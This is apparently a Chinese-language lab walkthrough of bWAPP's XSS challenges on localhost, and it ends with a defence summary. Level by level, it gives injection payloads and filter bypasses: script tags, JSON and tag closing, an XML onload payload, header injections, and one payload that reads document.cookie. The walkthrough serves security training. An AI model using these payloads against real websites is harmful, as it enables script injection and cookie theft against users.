6.bWAPP XSS
字数 1847 2025-08-24 16:48:07
bWAPP XSS漏洞分析与利用全面指南
0x01 XSS - Reflected (GET)
Low级别
- 漏洞描述:输入内容直接输出到页面,无任何过滤
- 利用方法:直接构造XSS payload
<script>alert(1)</script> - 防御缺失:无任何输入过滤或输出编码
Medium级别
- 过滤机制:使用
addslashes()函数(主要用于防SQL注入) - 绕过方法:
addslashes()对XSS无效,仍可使用相同payload<script>alert(1)</script>
High级别
- 安全措施:将所有关键字转换为HTML实体
- 防御效果:完全防护,无法注入
0x02 XSS - Reflected (POST)
- 与GET型区别:请求方式不同
- GET型示例:
http://localhost:8080/bWAPP/xss_get.php?firstname=<script>alert(1)</script> - POST型:需构造POST请求体
- 各级别情况:与GET型相同
0x03 XSS - Reflected (JSON)
Low级别
- 漏洞特征:错误信息中包含未过滤的用户输入
- 初始尝试:直接注入失败
<script>alert(1)</script> - 正确方法:分析HTML源码后发现需闭合JSON结构
"}]}'; alert(document.cookie) //
Medium&High级别
- 安全措施:关键字转HTML实体
- 防御效果:完全防护
0x04 XSS - Reflected (AJAX/JSON)
Low&Medium级别
- 直接注入方法:
- AJAX端点:
xss_ajax_2-2.php?title=也可直接注入
High级别
- 防御措施:HTM实体编码
- 防御效果:输入作为纯文本输出,无法执行
0x05 XSS - Reflected (AJAX/XML)
Low&Medium级别
- XML专用payload:
<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a> - 解释:
xmlns定义XML命名空间,利用onload事件
High级别
- 防御措施:
htmlspecialchars()函数 - 防御效果:完全防护
0x06 XSS - Reflected (Back Button)
Low级别
- 漏洞原理:利用Referer头进行跳转
- payload构造:
Referer:'"><script>alert(1)</script> - 攻击方法:闭合input标签后注入
High级别
- 防御措施:关键字转HTML实体
- 防御效果:完全防护
0x07 XSS - Reflected (Custom Header)
Low级别
- 攻击方法:在HTTP头中添加恶意字段
bWAPP:<script>alert(1)</script>
Medium级别
- 过滤机制:
addslashes()(可绕过)
High级别
- 防御措施:HTML实体编码
- 防御效果:完全防护
0x08 XSS - Reflected (Eval)
Low&High级别
- 漏洞原理:
eval()函数直接执行输入 - payload:
http://localhost:8080/bWAPP/xss_eval.php?date=alert(1)
Medium级别
- 不影响:仍可执行JS代码
0x09 XSS - Reflected (HREF)
Low级别
- 方法一:闭合p标签
</p> <script>alert(1)</script> - 方法二:闭合链接
1>Vote</a> <script>alert(1)</script>
Medium&High级别
- 防御措施:
urlencode()函数 - 防御效果:完全防护
0x0A XSS - Reflected (Login Form)
Low级别
- 漏洞发现:通过SQL注入测试发现输出未过滤
- payload:
bee' 123 <script>alert(1)</script>
Medium级别
- 过滤机制:
addslashes()(可绕过)
High级别
- 防御措施:
htmlspecialchars() - 防御效果:完全防护
0x0B XSS - Reflected (Referer)
- 同0x06关卡
0x0C XSS - Reflected (User-Agent)
- 修改User-Agent头注入
0x0D XSS - Stored (Blog)
- 同SQL注入存储型漏洞
0x0E XSS - Stored (Change Secret)
Low级别
-
攻击步骤:
- 修改密码为XSS payload
<script>alert('hack')</script>- 用户登录时触发
-
前端修改方法:
123"> <script>alert(1)</script>
Medium级别
- 过滤机制:
addslashes()(可绕过)
High级别
- 防御措施:
htmlspecialchars() - 防御效果:完全防护
0x0F XSS - Stored (User-Agent)
- 同SQL注入存储型漏洞
防御措施总结
-
有效防御:
- HTML实体编码(
htmlspecialchars()) - 上下文相关输出编码
- 内容安全策略(CSP)
- HTML实体编码(
-
无效/不足防御:
addslashes()(仅防SQL注入)urlencode()(不防XSS)- 仅前端验证
-
最佳实践:
- 输入验证
- 输出编码
- 使用安全框架
- 定期安全测试